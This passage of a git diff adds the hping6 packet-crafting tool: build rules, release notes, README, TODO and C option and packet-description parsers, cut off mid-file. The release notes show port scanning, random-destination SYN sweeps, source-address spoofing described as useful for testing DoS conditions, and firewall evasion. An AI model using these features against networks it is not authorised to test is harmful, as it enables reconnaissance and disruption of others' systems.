+libars.a: $(ARSOBJ) + $(AR) rc $@ $^ + $(RANLIB) $@ + +hping6: byteorder.h $(OBJ) + $(CC) -o hping6 $(CCOPT) $(DEBUG) $(OBJ) $(PCAP) @SOLARISLIB@ + @echo + ./hping6 -v + @echo "use \`make strip' to strip hping6 binary" + @echo "use \`make install' to install hping6" + +byteorder.h: + ./configure + +.c.o: + $(CC) -c $(CCOPT) $(DEBUG) $(COMPILE_TIME) $< + +clean: + rm -rf hping6 *.o *.a + -(cd utils; $(MAKE) clean) + +distclean: + rm -rf hping6 *.o *.a byteorder byteorder.h systype.h Makefile + -(cd utils; $(MAKE) clean) + +install: hping6 + mkdir -p ${prefix}/sbin/ + cp -f hping6 ${prefix}/sbin/ + chmod 755 ${prefix}/sbin/hping6 + @if [ -f ${prefix}/sbin/hping2 ]; then \ + rm ${prefix}/sbin/hping2; \ + fi + +strip: hping6 + @ls -l ./hping6 + strip hping6 + @ls -l ./hping6 diff --git a/NEWS b/NEWS new file mode 100644 index 0000000..d6b84ae --- /dev/null +++ b/NEWS @@ -0,0 +1,181 @@ +This short document is for users of hping-beta54 or prior versions +and helps to exploit all the new features of this hping6 release in a +short time. You may want to read the new man page anyway but the +following will help for sure: + +=== release candidate 3 news + +In this release a nasty bug with the checksum code was fixed. +If you experimented strange problems like some kind of packet +generated with a wrong checksum try this version. + +Try the --scan option in the command line to see the port-scanner features. + + Example of the --scan option usage: + +# hping3 --scan known 1.2.3.4 + +Scanning 1.2.3.4 (1.2.3.4), port known +245 ports to scan, use -V to see all the replies ++----+-----------+---------+---+-----+-----+-----+ +|port| serv name | flags |ttl| id | win | len | ++----+-----------+---------+---+-----+-----+-----+ + 9 discard : .S..A... 64 0 32767 44 + 13 daytime : .S..A... 64 0 32767 44 + 21 ftp : .S..A... 64 0 32767 44 + 22 ssh : .S..A... 64 0 32767 44 + 25 smtp : .S..A... 64 0 32767 44 + 37 time : .S..A... 64 0 32767 44 + 80 www : .S..A... 64 0 32767 44 + 111 sunrpc : .S..A... 64 0 32767 44 + 113 auth : .S..A... 64 0 32767 44 + 631 ipp : .S..A... 64 0 32767 44 + 3306 mysql : .S..A... 64 0 32767 44 + 6000 x11 : .S..A... 64 0 32767 44 + 6667 ircd : .S..A... 64 0 3072 44 +All replies received. Done. +Not responding ports: + +Check the man page for more information on the scan mode. + +=== release candidate 2 news + +. Now hping is able to send/parse source routed IP headers. + See the manpage for more info. + +. Hping was almost rewrote, at least all the most important parts. + You should experiment a more readable, compact, fast to compile + code. + +. The new option parsing code allows you to specify abbreviated + options. you can now use for example --tcp-ti instead of --tcp-timestamp + and so on. + +. The new feature rand-dest allows to send the packet to random + IP addresses. This is very useful to do some Internet survey + or large subnet random scanning. + + For example the follow command line will send TCP packets with the + SYN flag on to the port 80 of the 192.168.0.0/16 address space: + + hping 192.168.x.x --rand-dest -p 80 -S + + Every occurrence of 'x' is substituted with a random number + in the 0-255 range. + +. The new feature rand-source allows to send packets with random + source addresses. Useful to test some DoS condition against firewalls + or TCP/IP stacks that implements some per-IP basis information + recording. + +. The output was enhanced and fixed a bit. + +. The "force incremental dest port" option (++) now works with UDP + packets and works better with TCP, since it is more selective + with the incoming responses. + +. Now you should be really able to set the sequence and acknowledge + number of the TCP packets. The rc1 code was broken because + atoi() was used to get a long unsigned value. + +. The documentation (and the french translation) was updated + to reflect the changes. + +=== release candidate 1 news + +. Now hping works better on BSD, and works on Solaris. It should + be many times simplest to port it to an unsupported platform. + Problems with systems that uses 32bit pids are now fixed. + +. The output is different to be more parseable and compact, example: + + len=46 ip=192.168.1.1 flags=RA DF seq=0 ttl=255 id=0 win=0 rtt=0.5 ms + + now the presence of the Don't fragment IP flag is signaled with 'DF'. + all the fields with a value are in the form 'field=value'. + +. To specify the outgoing interface with -I is no longer needed, + hping will try to detect the right interface according to the + system routing table. Of course you can override it using -I. + +. Instead to specify -i u10000 to get a speed of ten packets for second + you can just use --fast. + +. Now --traceroute (-T) implies --ttl 1. You can override this using --ttl. + +. Using hping as traceroute you have now RTT informations about the + hops. + +. You can monitor a specific hop in traceroute mode, using the following + syntax: + + hping6 -T www.yahoo.com --tr-keep-ttl --ttl 5 + + see the output: + + HPING www.yahoo.com (ippp0 64.58.76.177): NO FLAGS are set, 40 headers + 0 dat + a bytes + 5->TTL 0 during transit from 144.232.234.57 (sl-gw18-nyc-2-2.sprintlink.net) + 5->RTT was: 136.9 ms + 5->TTL 0 during transit from 144.232.234.57 (sl-gw18-nyc-2-2.sprintlink.net) + 5->RTT was: 136.8 ms + 5->TTL 0 during transit from 144.232.234.57 (sl-gw18-nyc-2-2.sprintlink.net) + 5->RTT was: 136.9 ms + 5->TTL 0 during transit from 144.232.234.57 (sl-gw18-nyc-2-2.sprintlink.net) + 5->RTT was: 136.7 ms + + --- www.yahoo.com hping statistic --- + 4 packets tramitted, 0 packets received, 100% packet loss + round-trip min/avg/max = 136.7/136.8/136.9 ms + + you get only information about the 5 hop, after Ctrl+C the round-trip + min/avg/max is calculated using the rtt of this hop. + +. Using the option --tr-stop you can obtain that hping will exit + when the first matching packet that isn't an ICMP time exceeded + in transit is received, like the original traceroute. Without + this hping continue to send packets to the target host forever. + +. You can use --tr-no-rtt to suppress the rtt information in traceroute + mode. + +. With the --tcp-timestamp feature you can guess the uptime of some + remote systems. Example: + +HPING www.hping.org (ippp0 192.70.106.166): S set, 40 headers + 0 data bytes +56 bytes from 192.70.106.166: flags=SA seq=0 ttl=49 id=28881 win=16080 rtt=105.0 ms + TCP timestamp: 258597761 + +56 bytes from 192.70.106.166: flags=SA seq=1 ttl=49 id=28882 win=16080 rtt=105.4 ms + TCP timestamp: 258597860 + HZ seems 100 + System uptime seems: 29 days, 22 hours, 19 minutes, 38 seconds + +56 bytes from 192.70.106.166: flags=SA seq=2 ttl=49 id=28883 win=16080 rtt=105.1 ms + TCP timestamp: 258597960 + HZ seems 100 + System uptime seems: 29 days, 22 hours, 19 minutes, 39 seconds + + +--- www.hping.org hping statistic --- +3 packets tramitted, 3 packets received, 0% packet loss +round-trip min/avg/max = 105.0/105.2/105.4 ms + + As you can see the first reply does not contain any uptime information + since at least two packets are needed to estimate the increment frequency + of the timestamp timer (that is HZ in the output). + +. You can now use ICMP timestamp and address subnet mask requests. + Two shortcut are provided to use they: --icmp-ts and --icmp-addr. + +. Now the sequence number handling is revisited to allow hping to + show the right rtt info even if the sequence number overflows. + +. Now hping should never (hopefully) SIGBUS on sparc. + +I hope you will find hping better to use and more powerful, these enhancements +were implemented thanks to many people that helped a lot with code and +new ideas, see the CHANGES file for more information and credits. + +have fun, +antirez diff --git a/README b/README new file mode 100644 index 0000000..b854e14 --- /dev/null +++ b/README @@ -0,0 +1,78 @@ + +DESCRIPTION + + hping6 is a network tool able to send custom ICMP/UDP/TCP + packets and to display target replies like ping do with + ICMP replies. hping6 handle fragmentation, arbitrary packet + body and size and can be used in order to transfer files + under supported protocols. Using hping6 you are able at + least to perform the following jobs: + + - Test firewall rules + - [spoofed] port scanning + - Test net performance using differents protocols, + packet size, TOS (type of service) and fragmentation. + - Path MTU discovery + - Files trasfering even between really fascist firewall rules. + - Traceroute like under different protocols. + - Firewalk like usage. + - Remote OS fingerprint. + - TCP/IP stack auditing. + - IPv6 support + - A lot of others. + + It's also really a good didactic tool to learn TCP/IP. + + hping6 is developed and manteined by antirez@invece.org + and comes under GPL version 2 of license. Developing is + open so you can send me patches/suggestions/affronts without + inhibitions. + + Thanks to the following peoples for them suggestions/tests/tools/code: + + Valeriano Bedeschi + Lorenzo Cavallaro + awgn roofing + Darren Reed + Alfonso De Gregorio + Mika + Yann Berthier + Lance Spitzner + Stephane Aubert + Nicolas Jombart + Denis Ducamp + Francesco Potorti` + Stefano Brandimarte + "roy kozzer" + Jason Lunz + Domenico Andreoli + Gian-Luca Dei Rossi + Marco D'Itri + Rui Miguel Barbosa Machado + Daniel Ginsburg + Steve Bleazard + David Coppa + + Many other, I don't remember. + + Also vim developers, ee.lbl.gov for tcpdump and GNU in general. + + IPv6 support, flood modes: + Matyas Koszik + +REQUIREMENTS + + A supported unix-like OS, gcc, root access. + + see PORTINGS file for supported systems list. + +USAGE + + See the man page and HPING6-HOWTO. + +INSTALLATION + + see INSTALL file. + +have fun, +antirez diff --git a/README.md b/README.md new file mode 100644 index 0000000..b1714fb --- /dev/null +++ b/README.md @@ -0,0 +1,21 @@ +This is regular hping2 with a few extra features: + +* `-6` - required for ipv6 destinations +* `--pps` +* `--bps` - set outgoing pps/bps rates. Return packets are not processed in these modes. + +Example: + + root@koszik-vps:~# ./hping6 ns1.atw.hu -6 -2 -p 53 -k -s 1583 --traceroute + HPING ns1.atw.hu (eth0 2a01:270:0:2::11): udp mode set, 48 headers + 0 data bytes + hop=1 TTL 0 during transit from ip=2a00:1f40:2::1 name=2a00-1f40-2--1.pool6.giganet.hu hoprtt=0.9 ms + hop=2 TTL 0 during transit from ip=2a00:1f40:1:bb00::2:1 name=UNKNOWN hoprtt=1005.7 ms + hop=3 TTL 0 during transit from ip=2001:7f8:35::2:9278:2 name=UNKNOWN hoprtt=2011.2 ms + hop=4 TTL 0 during transit from ip=2a02:730:c:b01:b03:0:1:1 name=UNKNOWN hoprtt=3006.7 ms + hop=5 TTL 0 during transit from ip=2a01:270:c:c04:103::1 name=UNKNOWN hoprtt=4007.1 ms + hop=6 TTL 0 during transit from ip=2a01:270:c:c02:c04::1 name=UNKNOWN hoprtt=5007.7 ms + hop=7 TTL 0 during transit from ip=2a01:270:c:106::42 name=UNKNOWN hoprtt=6007.3 ms + ^C + --- ns1.atw.hu hping statistic --- + 12 packets transmitted, 7 packets received, 42% packet loss + round-trip min/avg/max = 0.9/3006.7/6007.3 ms diff --git a/TODO b/TODO new file mode 100644 index 0000000..d78176a --- /dev/null +++ b/TODO @@ -0,0 +1,21 @@ +WARNING: Also try `grep FIXME *.c' + +TODO (Stuff to do *before* 2.0.0 stable release) + +- support for x.y.z.k/mask destination + also in this mode on TCP flags specified exec this program passing + as arguments the IP, port and some additional info. +- To add a decent verbose mode for ICMP packet received. +- add bpf filtering capability +- broadcast support in waitpacket.c +- replace exit() with hping_exit() that close the desciptors and so on. +- hping --getfield + +TODO + +- better solution than ip->id = getpid() & 255 +- log and handle ip and tcp options (only incoming) +- support for hcmp source quench/stirup +- Other ip options (record route already implemented) +- dns query support +- scripting language support, send(...) ifrecv(...) etc... diff --git a/antigetopt.c b/antigetopt.c new file mode 100644 index 0000000..8fcaba8 --- /dev/null +++ b/antigetopt.c @@ -0,0 +1,295 @@ +/* antigetopt -- a getopt replacement + * Copyright(C) 2001 Salvatore Sanfilippo + * This software is released under the GPL license + * see the COPYING file for more information */ + +/* TODO: + * argument list sanity check */ + +#include +#include +#include + +#include "antigetopt.h" + +/* global vars */ +char *ago_optarg = NULL; +char *ago_optname = NULL; +char ago_optchar = '\0'; + +/* static vars */ +static struct ago_exception { + int (*tester)(void); + char *msg; +} ago_exceptions[3] = { + { NULL, NULL }, + { NULL, NULL }, + { NULL, NULL } +}; + +static int ago_exception_bits[] = { AGO_EXCEPT0, AGO_EXCEPT1, AGO_EXCEPT2 }; + +/* static functions */ +static struct ago_optlist +*ago_lookup(struct ago_optlist *list, char *arg, int *islong, int *amb); +static int strinitcmp(char *a, char *b); + +/*----------------------------- implementation ------------------------------ */ + +int antigetopt(int argc, char **argv, struct ago_optlist *list) +{ + static char **save_argv = NULL; + static char *chain = NULL; + static int endoptions = 0; + struct ago_optlist *opt; + int islong; + + /* Reset */ + if (argv == NULL) { + save_argv = NULL; + chain = NULL; + endoptions = 0; + return AGO_RESET; + } else { + if (save_argv == NULL) { + save_argv = argv+1; /* skips the argv[0] */ + /* XXX: argument list sanity check */ + } + } + +chain_start: + if (chain) { + if (*chain == '\0') + chain = NULL; + else { + if ((opt = ago_lookup(list, chain, &islong, NULL)) + == NULL) + return AGO_UNKNOWN; + if (!(opt->ao_flags & AGO_NOARG)) { + /* the if expression maybe false if the + * argument is optional */ + if (chain[1] == '\0' && *save_argv) + ago_optarg = *save_argv++; + /* while it is mandatory for the NEEDARG type */ + else if (opt->ao_flags & AGO_NEEDARG) + return AGO_REQARG; + } + chain++; + return opt->ao_id; + } + } + + argv = save_argv; + + /* handle the "--" special option */ + if (*argv && strcmp(*argv, "--") == 0) { + endoptions = 1; + argv++; + save_argv++; + } + + while(*argv) { + /* The option must start with '-' */ + if (!endoptions && argv[0][0] == '-' && argv[0][1] != '\0') { + int amb; + + /* note: ago_lookup also sets ago_optname */ + if ((opt = ago_lookup(list, argv[0], &islong, &amb)) + == NULL) + return amb ? AGO_AMBIG : AGO_UNKNOWN; + + /* handle the collapsed short options */ + if (!islong && argv[0][2] != '\0') { + chain = argv[0]+1; + save_argv++; + goto chain_start; + } + + /* if the option require or may have an argument */ + ago_optarg = NULL; + /* If the argument is needed we get the next argv[] + * element without care about what it contains */ + if (opt->ao_flags & AGO_NEEDARG) { + if (argv[1] == NULL) + return AGO_REQARG; + ago_optarg = argv[1]; + argv++; + } + /* If the argument is optional we only recognize it + * as argument if it does not starts with '-' */ + else if (opt->ao_flags & AGO_OPTARG) { + if (argv[1] && argv[1][0] != '-') { + ago_optarg = argv[1]; + argv++; + } + } + save_argv = argv+1; + return opt->ao_id; + } else { + save_argv = argv+1; + ago_optarg = argv[0]; + ago_optchar = '\0'; + ago_optname = NULL; + return AGO_ALONE; + } + } + return AGO_EOF; +} + +#define UNK_SHORT_ERRSTRING "invalid option -- %c\n" +#define UNK_LONG_ERRSTRING "unrecognized option `--%s'\n" +#define ARG_SHORT_ERRSTRING "option requires an argument -- %c\n" +#define ARG_LONG_ERRSTRING "option `--%s' requires an argument\n" +#define AMB_ERRSTRING "option `--%s' is ambiguous\n" +#define IERR_ERRSTRING "internal error. ago_gnu_error() called with " \ + "a bad error code (%d)\n" +void ago_gnu_error(char *pname, int error) +{ + if (pname) + fprintf(stderr, "%s: ", pname); + switch(error) { + case AGO_UNKNOWN: + if (ago_optname) + fprintf(stderr, UNK_LONG_ERRSTRING, + ago_optname); + else + fprintf(stderr, UNK_SHORT_ERRSTRING, + ago_optchar); + break; + case AGO_REQARG: + if (ago_optname) + fprintf(stderr, ARG_LONG_ERRSTRING, + ago_optname); + else + fprintf(stderr, ARG_SHORT_ERRSTRING, + ago_optchar); + break; + case AGO_AMBIG: + fprintf(stderr, AMB_ERRSTRING, ago_optname); + break; + default: + fprintf(stderr, IERR_ERRSTRING, error); + break; + } +} + +int ago_set_exception(int except_nr, int (*tester)(void), char *msg) +{ + if (tester == NULL || msg == NULL || except_nr < 0 || except_nr >= 3) + return -1; + ago_exceptions[except_nr].tester = tester; + ago_exceptions[except_nr].msg = msg; + return 0; +} + +/*-------------------------- static functions ------------------------------- */ + +struct ago_optlist +*ago_lookup(struct ago_optlist *list, char *arg, int *islong, int *amb) +{ + int i; + + /* ago_lookup can be receive as `arg' a pointer to a + * long argument, like --option, a pointer to a short + * argument like -O, or just a pointer to a char sequence + * in the case of collapsed short arguments like -abcde. */ + + /* Clear the 'ambiguos' flag, used to report the caller + * an ambiguos option abbreviation error */ + if (amb) *amb = 0; + + if (*arg == '-') /* skips the first - if any */ + arg++; + + switch(*arg) { + case '\0': + return NULL; + case '-': + *islong = 1; + arg++; /* skip the last - */ + break; + default: + *islong = 0; + break; + } + + /* search the argument in the list */ + if (*islong) { + int retval; + struct ago_optlist *last = NULL; + + while(!(list->ao_flags & AGO_ENDOFLIST)) { + ago_optname = arg; + ago_optchar = '\0'; + if ((retval = strinitcmp(arg, list->ao_long)) != 0) { + switch(retval) { + case 1: + if (last) { + if (amb) *amb = 1; + return NULL; + } + last = list; + break; + case 2: + goto ok; + } + } + list++; + } + if (last) { + ago_optname = last->ao_long; + list = last; + goto ok; + } + } else { + ago_optchar = *arg; + ago_optname = NULL; + while(!(list->ao_flags & AGO_ENDOFLIST)) { + if (*arg == list->ao_short) + goto ok; + list++; + } + } + return NULL; +ok: + /* handle the exceptions if any */ + for (i = 0; i < 3; i++) { + if ((list->ao_flags & ago_exception_bits[i]) && + ago_exceptions[i].tester) + { + if (ago_exceptions[i].tester()) { + if (ago_optname) { + fprintf(stderr, "%s `--%s'\n", + ago_exceptions[i].msg, + ago_optname); + } else { + fprintf(stderr, "%s `-%c'\n", + ago_exceptions[i].msg, + ago_optchar); + } + exit(1); + } + } + } + return list; +} + +/* Given two strings this function returns: + * 1, if the strings are the same for the len of the first string (abc, abcde) + * 2, if the strings are exactly the same: (abcd, abcd) + * otherwise zero is returned (abcde, abcd) ... (djf, 293492) */ +int strinitcmp(char *a, char *b) +{ + if (!a || !b) + return 0; + while (*a && *b) { + if (*a != *b) + return 0; + a++; b++; + } + if (*a) + return 0; + if (*a == *b) + return 2; + return 1; +} diff --git a/antigetopt.h b/antigetopt.h new file mode 100644 index 0000000..72bc8e9 --- /dev/null +++ b/antigetopt.h @@ -0,0 +1,35 @@ +#ifndef __ANTIGETOPT_H +#define __ANTIGETOPT_H + +/* special return codes */ +enum { AGO_EOF=4000, AGO_ALONE, AGO_UNKNOWN, AGO_REQARG, AGO_RESET, AGO_AMBIG }; + +/* option flags */ +#define AGO_NOARG (1<<0) /* no argument */ +#define AGO_NEEDARG (1<<1) /* required argument */ +#define AGO_OPTARG (1<<2) /* optional argument */ +#define AGO_EXCEPT0 (1<<3) /* exception #0 */ +#define AGO_EXCEPT1 (1<<4) /* exception #1 */ +#define AGO_EXCEPT2 (1<<5) /* exception #3 */ +#define AGO_ENDOFLIST (1<<15) /* end of argument list marker */ + +/* option list null term */ +#define AGO_LIST_TERM {'\0',NULL,0,AGO_ENDOFLIST} + +/* The structure that defines an argument */ +struct ago_optlist { + char ao_short; + char *ao_long; + int ao_id; + int ao_flags; +}; + +extern char *ago_optarg; +extern char *ago_optname; +extern char ago_optchar; + +int antigetopt(int argc, char **argv, struct ago_optlist *list); +void ago_gnu_error(char *pname, int error); +int ago_set_exception(int except_nr, int (*tester)(void), char *msg); + +#endif /* __ANTIGETOPT_H */ diff --git a/apd.c b/apd.c new file mode 100644 index 0000000..d540a63 --- /dev/null +++ b/apd.c @@ -0,0 +1,489 @@ +/* Copyright (C) 2000,2001 Salvatore Sanfilippo + * See the LICENSE file for more information. + * + * ARS Packet Description System. + * + * Please, prefix all the function with ars_d_ */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include "ars.h" + +#define ARS_MAX_TSIZE 1024 +char *ars_d_parser(char *t, char *next, size_t size) +{ + int i = 0; + + if (size == 0 || next == NULL || *t == '\0') + return NULL; + size--; /* space for nul term */ + while (1) { + /* no space for the next char */ + if (i == size) { + next[i] = '\0'; + return t; + } + switch(*t) { + case '\0': + case '{': + case '}': + case ',': + case '=': + case '+': + if (i == 0) { + next[i] = *t; + next[i+1] = '\0'; + return t+1; + } else { + next[i] = '\0'; + return t; + } + default: + next[i++] = *t++; + break; + } + } + return NULL; /* unreached */ +} + +/* states */ +#define ARS_G_LAYER 0 +#define ARS_G_FIELD 1 +#define ARS_G_VALUE 2 +#define ARS_G_OBRACE_OR_PLUS 3 +#define ARS_G_CBRACE 4 +#define ARS_G_COMMA_OR_CBRACE 5 +#define ARS_G_LEN_OR_PLUS 6 +#define ARS_G_PLUS 7 +#define ARS_G_EQUAL 8 + +struct ars_d_keyword_info { + char *ki_keyword; + int ki_opt; + void *(*ki_add) (struct ars_packet *pkt, int opt); + int (*ki_set) (struct ars_packet *pkt, int layer, char *f, char *v); +}; + +#define ARS_DKINFO_SIZE 64 + +#define BOGUS_SET_F(x) \ + int (x)(struct ars_packet *pkt, int layer, char *f, char *v) { return 0; } + +int ars_d_set_ip(struct ars_packet *pkt, int layer, char *f, char *v); +int ars_d_set_udp(struct ars_packet *pkt, int layer, char *f, char *v); +int ars_d_set_tcp(struct ars_packet *pkt, int layer, char *f, char *v); +int ars_d_set_icmp(struct ars_packet *pkt, int layer, char *f, char *v); +int ars_d_set_data(struct ars_packet *pkt, int layer, char *f, char *v); +BOGUS_SET_F(ars_d_set_ipopt_sec) +BOGUS_SET_F(ars_d_set_ipopt_sid) +BOGUS_SET_F(ars_d_set_ipopt_lsrr) +BOGUS_SET_F(ars_d_set_ipopt_ssrr) +BOGUS_SET_F(ars_d_set_ipopt_rr) +BOGUS_SET_F(ars_d_set_ipopt_ts) +BOGUS_SET_F(ars_d_set_tcpopt_mss) +BOGUS_SET_F(ars_d_set_tcpopt_wscale) +BOGUS_SET_F(ars_d_set_tcpopt_sackperm) +BOGUS_SET_F(ars_d_set_tcpopt_sack) +BOGUS_SET_F(ars_d_set_tcpopt_echo) +BOGUS_SET_F(ars_d_set_tcpopt_echoreply) +BOGUS_SET_F(ars_d_set_tcpopt_ts) + +struct ars_d_keyword_info ars_dkinfo[ARS_DKINFO_SIZE] = { + /* KEYWORD OPT ADD function SET function * + * --------------------------------------------------------- */ + {"ip", 0, ars_add_iphdr, ars_d_set_ip}, + {"ipopt.eol", ARS_IPOPT_EOL, ars_add_ipopt, NULL}, + {"ipopt.nop", ARS_IPOPT_NOP, ars_add_ipopt, NULL}, + {"ipopt.sec", ARS_IPOPT_SEC, ars_add_ipopt, ars_d_set_ipopt_sec}, + {"ipopt.sid", ARS_IPOPT_SID, ars_add_ipopt, ars_d_set_ipopt_sid}, + {"ipopt.lsrr", ARS_IPOPT_LSRR, ars_add_ipopt, ars_d_set_ipopt_lsrr}, + {"ipopt.ssrr", ARS_IPOPT_SSRR, ars_add_ipopt, ars_d_set_ipopt_ssrr}, + {"ipopt.rr", ARS_IPOPT_RR, ars_add_ipopt, ars_d_set_ipopt_rr}, + {"ipopt.ts", ARS_IPOPT_TIMESTAMP, ars_add_ipopt, ars_d_set_ipopt_ts}, + {"udp", 0, ars_add_udphdr, ars_d_set_udp}, + {"tcp", 0, ars_add_tcphdr, ars_d_set_tcp}, + {"tcpopt.end", ARS_TCPOPT_EOL, ars_add_tcpopt, NULL}, + {"tcpopt.nop", ARS_TCPOPT_NOP, ars_add_tcpopt, NULL}, + {"tcpopt.mss", ARS_TCPOPT_MAXSEG, ars_add_tcpopt, ars_d_set_tcpopt_mss}, + {"tcpopt.wscale", ARS_TCPOPT_WINDOW, ars_add_tcpopt, ars_d_set_tcpopt_wscale}, + {"tcpopt.sackperm", ARS_TCPOPT_SACK_PERM, ars_add_tcpopt, ars_d_set_tcpopt_sackperm}, + {"tcpopt.sack", ARS_TCPOPT_SACK, ars_add_tcpopt, ars_d_set_tcpopt_sack}, + {"tcpopt.echo", ARS_TCPOPT_ECHOREQUEST, ars_add_tcpopt, ars_d_set_tcpopt_echo}, + {"tcpopt.echoreply", ARS_TCPOPT_ECHOREPLY, ars_add_tcpopt, ars_d_set_tcpopt_echoreply}, + {"tcpopt.ts", ARS_TCPOPT_TIMESTAMP, ars_add_tcpopt, ars_d_set_tcpopt_ts}, + {"icmp", 0, ars_add_icmphdr, ars_d_set_icmp}, + {"data", 0, ars_add_data, ars_d_set_data}, + {NULL, 0, NULL, NULL} /* nul term */ +}; + +struct ars_d_keyword_info *ars_get_keyword_by_name(char *name) +{ + struct ars_d_keyword_info *k = ars_dkinfo; + + while (k->ki_keyword) { + if (strcasecmp(k->ki_keyword, name) == 0) + return k; + k++; + } + return NULL; +} + +int ars_d_setlayer_size(struct ars_packet *pkt, int layer, char *size) +{ + size_t newsize; + + if (layer == ARS_LAST_LAYER) + layer = pkt->p_layer_nr - 1; + if (ars_valid_layer(layer) != -ARS_OK) + return -ARS_INVALID; + + newsize = ars_atou(size); + if (newsize < 1 || newsize > pkt->p_layer[layer].l_size) { + ars_set_error(pkt, "Invalid layer size in description"); + return -ARS_INVALID; + } + pkt->p_layer[layer].l_size = newsize; + + __D(printf("Setting the layer to size %s\n", size);) + return -ARS_OK; +} + +int ars_d_set_ip(struct ars_packet *pkt, int layer, char *f, char *v) +{ + struct ars_iphdr *ip; + + if (layer == ARS_LAST_LAYER) + layer = pkt->p_layer_nr - 1; + if (ars_valid_layer(layer) != -ARS_OK) + return -ARS_INVALID; + + ip = pkt->p_layer[layer].l_data; + + if (strcasecmp(f, "saddr") == 0) { + return ars_resolve(pkt, &ip->saddr, v); + } else if (strcasecmp(f, "daddr") == 0) { + return ars_resolve(pkt, &ip->daddr, v); + } else if (strcasecmp(f, "ihl") == 0) { + ip->ihl = ars_atou(v); + pkt->p_layer[layer].l_flags |= ARS_TAKE_IP_HDRLEN; + } else if (strcasecmp(f, "ver") == 0) { + ip->version = ars_atou(v); + pkt->p_layer[layer].l_flags |= ARS_TAKE_IP_VERSION; + } else if (strcasecmp(f, "tos") == 0) { + ip->tos = ars_atou(v); + } else if (strcasecmp(f, "totlen") == 0) { + ip->tot_len = htons(ars_atou(v)); + pkt->p_layer[layer].l_flags |= ARS_TAKE_IP_TOTLEN; + } else if (strcasecmp(f, "id") == 0) { + ip->id = htons(ars_atou(v)); + } else if (strcasecmp(f, "fragoff") == 0) { + ip->frag_off = ip->frag_off & 0xE000; + ip->frag_off = htons(ars_atou(v) >> 3); + } else if (strcasecmp(f, "mf") == 0) { + if (ars_atou(v) == 0) + ip->frag_off &= htons(~ARS_IP_MF); + else + ip->frag_off |= htons(ARS_IP_MF); + } else if (strcasecmp(f, "df") == 0) { + if (ars_atou(v) == 0) + ip->frag_off &= htons(~ARS_IP_DF); + else + ip->frag_off |= htons(ARS_IP_DF); + } else if (strcasecmp(f, "rf") == 0) { + if (ars_atou(v) == 0) + ip->frag_off &= htons((u_int16_t)~ARS_IP_RF); + else + ip->frag_off |= htons(ARS_IP_RF); + } else if (strcasecmp(f, "ttl") == 0) { + ip->ttl = ars_atou(v); + } else if (strcasecmp(f, "proto") == 0) { + ip->protocol = ars_atou(v); + pkt->p_layer[layer].l_flags |= ARS_TAKE_IP_PROTOCOL; + } else if (strcasecmp(f, "cksum") == 0) { + ip->check = htons(ars_atou(v)); + pkt->p_layer[layer].l_flags |= ARS_TAKE_IP_CKSUM; + } else { + ars_set_error(pkt, "Invalid field for IP layer"); + return -ARS_INVALID; + } + return -ARS_OK; +} + +int ars_d_set_udp(struct ars_packet *pkt, int layer, char *f, char *v) +{ + struct ars_udphdr *udp; + + if (layer == ARS_LAST_LAYER) + layer = pkt->p_layer_nr - 1; + if (ars_valid_layer(layer) != -ARS_OK) + return -ARS_INVALID; + + udp = pkt->p_layer[layer].l_data; + + if (strcasecmp(f, "sport") == 0) { + udp->uh_sport = htons(ars_atou(v)); + } else if (strcasecmp(f, "dport") == 0) { + udp->uh_dport = htons(ars_atou(v)); + } else if (strcasecmp(f, "len") == 0) { + udp->uh_ulen = htons(ars_atou(v)); + pkt->p_layer[layer].l_flags |= ARS_TAKE_UDP_LEN; + } else if (strcasecmp(f, "cksum") == 0) { + udp->uh_sum = htons(ars_atou(v)); + pkt->p_layer[layer].l_flags |= ARS_TAKE_UDP_CKSUM; + } else { + ars_set_error(pkt, "Invalid field for UDP layer"); + return -ARS_INVALID; + } + return -ARS_OK; +} + +int ars_d_set_tcp(struct ars_packet *pkt, int layer, char *f, char *v) +{ + struct ars_tcphdr *tcp; + + if (layer == ARS_LAST_LAYER) + layer = pkt->p_layer_nr - 1; + if (ars_valid_layer(layer) != -ARS_OK) + return -ARS_INVALID; + + tcp = pkt->p_layer[layer].l_data; + + if (strcasecmp(f, "sport") == 0) { + tcp->th_sport = htons(ars_atou(v)); + } else if (strcasecmp(f, "dport") == 0) { + tcp->th_dport = htons(ars_atou(v)); + } else if (strcasecmp(f, "seq") == 0) { + tcp->th_seq = htonl(ars_atou(v)); + } else if (strcasecmp(f, "ack") == 0) { + tcp->th_ack = htonl(ars_atou(v)); + } else if (strcasecmp(f, "x2") == 0) { + tcp->th_x2 = ars_atou(v); + } else if (strcasecmp(f, "off") == 0) { + tcp->th_off = ars_atou(v); + pkt->p_layer[layer].l_flags |= ARS_TAKE_TCP_HDRLEN; + } else if (strcasecmp(f, "flags") == 0) { + tcp->th_flags = 0; + if (strchr(v, 'f') || strchr(v, 'F')) + tcp->th_flags |= ARS_TCP_TH_FIN; + if (strchr(v, 's') || strchr(v, 'S')) + tcp->th_flags |= ARS_TCP_TH_SYN; + if (strchr(v, 'r') || strchr(v, 'R')) + tcp->th_flags |= ARS_TCP_TH_RST; + if (strchr(v, 'p') || strchr(v, 'P')) + tcp->th_flags |= ARS_TCP_TH_PUSH; + if (strchr(v, 'a') || strchr(v, 'A')) + tcp->th_flags |= ARS_TCP_TH_ACK; + if (strchr(v, 'u') || strchr(v, 'U')) + tcp->th_flags |= ARS_TCP_TH_URG; + if (strchr(v, 'x') || strchr(v, 'X')) + tcp->th_flags |= ARS_TCP_TH_X; + if (strchr(v, 'y') || strchr(v, 'Y')) + tcp->th_flags |= ARS_TCP_TH_Y; + } else if (strcasecmp(f, "win") == 0) { + tcp->th_win = htons(ars_atou(v)); + } else if (strcasecmp(f, "cksum") == 0) { + tcp->th_sum = htons(ars_atou(v)); + pkt->p_layer[layer].l_flags |= ARS_TAKE_TCP_CKSUM; + } else if (strcasecmp(f, "urp") == 0) { + tcp->th_urp = htons(ars_atou(v)); + } else { + ars_set_error(pkt, "Invalid field for TCP layer"); + return -ARS_INVALID; + } + return -ARS_OK; +} + +int ars_d_set_icmp(struct ars_packet *pkt, int layer, char *f, char *v) +{ + struct ars_icmphdr *icmp; + + if (layer == ARS_LAST_LAYER) + layer = pkt->p_layer_nr - 1; + if (ars_valid_layer(layer) != -ARS_OK) + return -ARS_INVALID; + + icmp = pkt->p_layer[layer].l_data; + + if (strcasecmp(f, "type") == 0) { + icmp->type = ars_atou(v); + } else if (strcasecmp(f, "code") == 0) { + icmp->code = ars_atou(v); + } else if (strcasecmp(f, "cksum") == 0) { + icmp->checksum = htons(ars_atou(v)); + pkt->p_layer[layer].l_flags |= 